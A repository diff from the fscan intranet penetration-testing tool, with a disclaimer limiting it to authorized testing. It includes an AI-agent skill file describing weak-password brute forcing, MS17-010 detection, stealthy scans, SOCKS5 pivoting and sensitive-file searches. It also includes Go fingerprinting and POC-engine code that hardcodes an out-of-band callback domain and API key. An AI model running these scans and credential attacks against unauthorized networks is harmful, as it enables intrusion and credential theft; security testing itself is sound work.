- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
### Fscan-lite
- Lightweight version rewritten in C
- Smaller binary size, fewer dependencies
- Support for embedded/restricted environments
- Directory: [fscan-lite](./fscan-lite)
### Fscan-lab
- Intranet penetration testing lab environment
- Covers all vulnerability scenarios supported by fscan
- Development testing and feature verification platform
- Learning and practice environment for beginners
- Directory: [fscan-lab](./fscan-lab)
## Disclaimer
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
## 404StarLink
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
## Star History
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## Donate
[Buy the author a drink](image/sponsor.png)
## References
- https://github.com/Adminisme/ServerScan
- https://github.com/netxfly/x-crack
- https://github.com/hack2fun/Gscan
- https://github.com/k8gege/LadonGo
- https://github.com/jjf012/gopoc
- https://github.com/chainreactors/gogo
- https://github.com/0x727/FingerprintHub
- https://github.com/killmonday/fscanx
-304
View File
@@ -1,304 +0,0 @@
---
name: fscan-agent
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
argument-hint: <目标IP/网段> [附加参数]
allowed-tools: Bash, Read, Agent
---
# Fscan AI Agent Skill
## 工具概述
Fscan 是一款内网综合扫描工具,功能包括:
- 主机存活探测(ICMP / TCP
- 端口扫描与服务识别
- 漏洞检测(MS17-010、Redis 未授权等)
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
- Web 指纹识别与 POC 扫描
- NetBIOS / SMB 信息收集
- 本地信息收集(杀软检测、系统信息等)
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`
## 调用格式
```bash
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
fscan -h <目标> -silent [其他参数]
# 解析输出
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
```
## 核心参数
### 目标指定
| 参数 | 说明 | 示例 |
|------|------|------|
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
| `-ep` | 排除端口 | `-ep 25,110` |
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
| `-u` | 指定 URLWeb 扫描) | `-u https://example.com` |
| `-uf` | URL 文件 | `-uf urls.txt` |
### 扫描控制
| 参数 | 说明 | 默认值 |
|------|------|--------|
| `-m` | 扫描模式 | `all` |
| `-t` | 端口扫描线程数 | `600` |
| `-mt` | 模块线程数 | `20` |
| `-time` | 连接超时(秒) | `3` |
| `-gt` | 全局超时(秒,0 表示不限制) | `0` |
| `-np` | 跳过存活检测 | `false` |
| `-ntp` | 禁用 TCP 补充探测 | `false` |
| `-ao` | 仅存活检测 | `false` |
| `-nobr` | 禁用暴力破解 | `false` |
| `-full` | 全量 POC 扫描 | `false` |
| `-max-retries` | 最大重试次数 | `1` |
### 认证
| 参数 | 说明 |
|------|------|
| `-user` | 用户名 |
| `-pwd` | 密码 |
| `-usera` | 追加用户名 |
| `-pwda` | 追加密码,支持逗号或空格分隔多个值 |
| `-userf` | 用户名字典文件 |
| `-pwdf` | 密码字典文件 |
| `-domain` | 域名(SMB/WMI |
| `-sshkey` | SSH 私钥文件 |
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
### 代理
| 参数 | 说明 |
|------|------|
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
| `-iface` | 指定本地网卡 IP(VPN 场景) |
### 输出
| 参数 | 说明 |
|------|------|
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
| `-o` | 输出文件路径(默认 `result.txt` |
| `-f` | 输出格式:`txt` / `json` / `csv` |
| `-no` | 禁用文件保存 |
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
| `-log` | 日志级别(`debug` / `info` / `base` / `error` |
### 扫描模式 `-m` 的取值
| 值 | 说明 |
|------|------|
| `all` | 全部扫描(默认) |
| `icmp` | 仅 ICMP 存活检测 |
| 插件名 | 仅运行指定插件(如 `ssh``smb``ms17010``webtitle` |
## 服务插件列表
| 插件 | 默认端口 | 功能 |
|------|----------|------|
| `ftp` | 21 | FTP 弱口令 |
| `ssh` | 22 | SSH 弱口令 |
| `telnet` | 23 | Telnet 弱口令 |
| `smtp` | 25 | SMTP 弱口令 |
| `findnet` | 135 | RPC 网络信息发现(NetInfo |
| `netbios` | 139 | NetBIOS 信息收集 |
| `smb` | 445 | SMB 弱口令 |
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
| `ldap` | 389 | LDAP 弱口令 |
| `mssql` | 1433 | MSSQL 弱口令 |
| `oracle` | 1521 | Oracle 弱口令 |
| `mysql` | 3306 | MySQL 弱口令 |
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
| `postgresql` | 5432 | PostgreSQL 弱口令 |
| `vnc` | 5900 | VNC 弱口令 |
| `redis` | 6379 | Redis 未授权 + 弱口令 |
| `elasticsearch` | 9200 | ES 未授权 |
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
| `memcached` | 11211 | Memcached 未授权 |
| `kafka` | 9092 | Kafka 未授权 |
| `activemq` | 61616 | ActiveMQ 弱口令 |
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
| `cassandra` | 9042 | Cassandra 弱口令 |
| `neo4j` | 7687 | Neo4j 弱口令 |
| `rsync` | 873 | Rsync 未授权 |
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
| `webpoc` | 80/443 | Web 漏洞 POC |
## 本地插件(`-local`
```bash
fscan -local avdetect # 杀软检测
fscan -local systeminfo # 系统信息收集
fscan -local envinfo # 环境变量信息
fscan -local dcinfo # 域控信息
fscan -local fileinfo # 敏感文件搜索
```
## NDJSON 输出 Schema`-silent` 模式)
每行一个 JSON 对象,所有字段定义:
| 字段 | 类型 | 出现条件 | 说明 |
|------|------|----------|------|
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
| `target` | string | 必有 | 原始目标 `host``host:port` |
| `status` | string | 必有 | 状态描述 |
| `host` | string | 必有 | IP 地址 |
| `port` | int | PORT/SERVICE/VULN | 端口号 |
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https |
| `banner` | string | SERVICE | 服务 Banner |
| `title` | string | SERVICE (web) | 网页标题 |
| `url` | string | SERVICE (web) | 完整 URL |
| `vulnerability` | string | VULN | 漏洞名称 |
| `username` | string | VULN (弱口令) | 用户名 |
| `password` | string | VULN (弱口令) | 密码 |
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
| `version` | string | SERVICE | 服务版本号 |
| `os` | string | SERVICE | 操作系统信息 |
### 输出示例
```jsonl
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
```
### 结果产出顺序
1. `HOST` — 存活探测阶段
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
3. `SERVICE` — 服务识别阶段
4. `VULN` — 漏洞/弱口令检测阶段
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
## 常用场景参数组合
### 全网段快速扫描
```bash
fscan -h 192.168.1.0/24 -silent
```
### 跳过存活检测直接扫端口(目标明确时)
```bash
fscan -h 192.168.1.0/24 -silent -np
```
### 指定端口精确扫描
```bash
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
```
### 仅存活探测
```bash
fscan -h 172.16.0.0/16 -silent -m icmp
```
### 低速隐蔽扫描
```bash
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
```
### 通过 SOCKS5 代理扫描内网
```bash
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
```
### 仅做弱口令检测
```bash
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
```
### Web 目标扫描
```bash
fscan -u https://target.com -silent -full
```
### 多目标文件批量扫描
```bash
fscan -hf targets.txt -silent -o results.json -f json
```
### 带调试日志的排障扫描
```bash
# NDJSON 到 stdoutdebug 日志到文件,互不干扰
fscan -h 192.168.1.0/24 -silent -debug
# 事后查看:cat fscan_debug.log
```
## AI Agent 结果处理
### Python 管道消费
```python
import json, subprocess
proc = subprocess.Popen(
["fscan", "-h", "192.168.1.0/24", "-silent"],
stdout=subprocess.PIPE, text=True
)
hosts, services, vulns = [], [], []
for line in proc.stdout:
r = json.loads(line)
if r["type"] == "HOST":
hosts.append(r["host"])
elif r["type"] == "SERVICE":
services.append(r)
elif r["type"] == "VULN":
vulns.append(r)
proc.wait()
```
### jq 过滤
```bash
# 提取所有弱口令
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
# 提取所有漏洞
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
# 提取 Web 服务
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
# 统计开放端口
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
```
## 注意事项
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
- 空字段不出现在 JSON 中(`omitempty`
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
- `-silent``-debug` 可同时使用,互不干扰
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
+69
View File
@@ -0,0 +1,69 @@
package WebScan
import (
"crypto/md5"
"fmt"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"regexp"
"strings"
)
type CheckDatas struct {
Body []byte
Headers string
}
func InfoCheck(Url string, CheckData []CheckDatas) {
var matched bool
var infoname []string
for _, data := range CheckData {
for _, rule := range info.RuleDatas {
if rule.Type == "code" {
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
} else {
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
}
if matched == true {
infoname = append(infoname, rule.Name)
}
}
flag, name := CalcMd5(data.Body)
if flag == true {
infoname = append(infoname, name)
}
}
infostr := RemoveMore(infoname)
if len(infoname) > 0 {
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
common.LogSuccess(result)
}
}
func CalcMd5(Body []byte) (bool, string) {
has := md5.Sum(Body)
md5str := fmt.Sprintf("%x", has)
for _, md5data := range info.Md5Datas {
if md5str == md5data.Md5Str {
return true, md5data.Name
}
}
return false, ""
}
func RemoveMore(a []string) (infostr string) {
var ret []string
for i := 0; i < len(a); i++ {
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
continue
}
ret = append(ret, a[i])
}
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
infostr = strings.ReplaceAll(infostr, "]", "")
return
}
+46
View File
@@ -0,0 +1,46 @@
package WebScan
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http"
"time"
)
//go:embed pocs
var Pocs embed.FS
func WebScan(info *common.HostInfo) {
var pocinfo = common.Pocinfo
pocinfo.Target = info.Url
err := Execute(pocinfo)
if err != nil && common.LogErr {
fmt.Println(info.Url, err)
}
}
func Execute(PocInfo common.PocInfo) error {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
return err
}
req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil {
return err
}
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
}
if PocInfo.PocName != "" {
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
} else {
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, "")
}
return nil
}
+137
View File
@@ -0,0 +1,137 @@
package info
type RuleData struct {
Name string
Type string
Rule string
}
type Md5Data struct {
Name string
Md5Str string
}
var RuleDatas = []RuleData{
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(Powered by Atmail)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
{"H3C-AM8000", "code", "(AM8000)"},
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
{"H3C公司产品", "code", "([email protected])"},
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
{"H3C ER5100", "code", "(ER5100系统管理)"},
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户ezOFFICE", "headers", "(LocLan)"},
{"万户网络", "code", "(css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
{"360主机卫士", "headers", "(zhuji.360.cn)"},
{"Nagios", "headers", "(Nagios Access)"},
{"H3C ER8300", "code", "(ER8300系统管理)"},
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
{"华为 MCU", "code", "(McuR5-min.js)"},
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
{"泛微协同办公OA", "headers", "(ecology_JSessionid)"},
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
{"360网站卫士", "code", "(360wzb)"},
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
{"o2security_vpn", "headers", "(client_param=install_active)"},
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
{"CISCO-CX20", "code", "(CISCO-CX20)"},
{"H3C ER5200", "code", "(ER5200系统管理)"},
{"linksys-vpn-bragap14-parintins", "code",
"(linksys-vpn-bragap14-parintins)"},
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
{"H3C ER3100", "code", "(ER3100系统管理)"},
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
{"360webfacil_360WebManager", "code", "(publico/template/)"},
{"Citrix_Netscaler", "code", "(ns_af)"},
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
{"H3C ER6300", "code", "(ER6300系统管理)"},
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
}
+208
View File
@@ -0,0 +1,208 @@
package lib
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
"net/url"
"regexp"
"sort"
"strings"
"sync"
"time"
)
var (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
ceyeDomain = "7wtusr.ceye.io"
)
type Task struct {
Req *http.Request
Poc *Poc
}
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
tasks := make(chan Task)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
wg.Add(1)
for task := range tasks {
isVul, err := executePoc(task.Req, task.Poc)
if err != nil {
continue
}
if isVul {
result := fmt.Sprintf("%s %s", task.Req.URL, task.Poc.Name)
common.LogSuccess(result)
}
}
wg.Done()
}()
}
for _, poc := range LoadMultiPoc(Pocs, pocname) {
task := Task{
Req: req,
Poc: poc,
}
tasks <- task
}
close(tasks)
wg.Wait()
}
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
env, err := NewEnv(&c)
if err != nil {
fmt.Println("environment creation error: %s\n", err)
return false, err
}
variableMap := make(map[string]interface{})
req, err := ParseRequest(oReq)
if err != nil {
//fmt.Println(err)
return false, err
}
variableMap["request"] = req
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
keys := make([]string, 0)
for k := range p.Set {
keys = append(keys, k)
}
sort.Strings(keys)
for _, k := range keys {
expression := p.Set[k]
if k != "payload" {
if expression == "newReverse()" {
variableMap[k] = newReverse()
continue
}
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
case []uint8:
variableMap[k] = fmt.Sprintf("%s", out)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
if p.Set["payload"] != "" {
out, err := Evaluate(env, p.Set["payload"], variableMap)
if err != nil {
return false, err
}
variableMap["payload"] = fmt.Sprintf("%v", out)
}
success := false
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
break
}
success = true
}
return success, nil
}
func doSearch(re string, body string) map[string]string {
r, err := regexp.Compile(re)
if err != nil {
return nil
}
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
paramsMap[name] = result[i]
}
}
return paramsMap
}
return nil
}
func newReverse() *Reverse {
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
sub := RandomStr(randSource, letters, 8)
if ceyeDomain == "" {
return &Reverse{}
}
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
u, _ := url.Parse(urlStr)
return &Reverse{
Url: ParseUrl(u),
Domain: u.Hostname(),
Ip: "",
IsDomainNameServer: false,
}
}
+469
View File
@@ -0,0 +1,469 @@
package lib
import (
"bytes"
"crypto/md5"
"encoding/base64"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"time"
)
func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c))
}
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
ast, iss := env.Compile(expression)
if iss.Err() != nil {
//fmt.Println("compile: ", iss.Err())
return nil, iss.Err()
}
prg, err := env.Program(ast)
if err != nil {
//fmt.Println("Program creation error: %v", err)
return nil, err
}
out, _, err := prg.Eval(params)
if err != nil {
//fmt.Println("Evaluation error: %v", err)
return nil, err
}
return out, nil
}
func UrlTypeToString(u *UrlType) string {
var buf strings.Builder
if u.Scheme != "" {
buf.WriteString(u.Scheme)
buf.WriteByte(':')
}
if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" {
buf.WriteString("//")
}
if h := u.Host; h != "" {
buf.WriteString(u.Host)
}
}
path := u.Path
if path != "" && path[0] != '/' && u.Host != "" {
buf.WriteByte('/')
}
if buf.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
buf.WriteString("./")
}
}
buf.WriteString(path)
if u.Query != "" {
buf.WriteByte('?')
buf.WriteString(u.Query)
}
if u.Fragment != "" {
buf.WriteByte('#')
buf.WriteString(u.Fragment)
}
return buf.String()
}
type CustomLib struct {
envOptions []cel.EnvOption
programOptions []cel.ProgramOption
}
func NewEnvOption() CustomLib {
c := CustomLib{}
c.envOptions = []cel.EnvOption{
cel.Container("lib"),
cel.Types(
&UrlType{},
&Request{},
&Response{},
&Reverse{},
),
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
decls.NewFunction("bcontains",
decls.NewInstanceOverload("bytes_bcontains_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("bmatches",
decls.NewInstanceOverload("string_bmatches_bytes",
[]*exprpb.Type{decls.String, decls.Bytes},
decls.Bool)),
decls.NewFunction("md5",
decls.NewOverload("md5_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("randomInt",
decls.NewOverload("randomInt_int_int",
[]*exprpb.Type{decls.Int, decls.Int},
decls.Int)),
decls.NewFunction("randomLowercase",
decls.NewOverload("randomLowercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
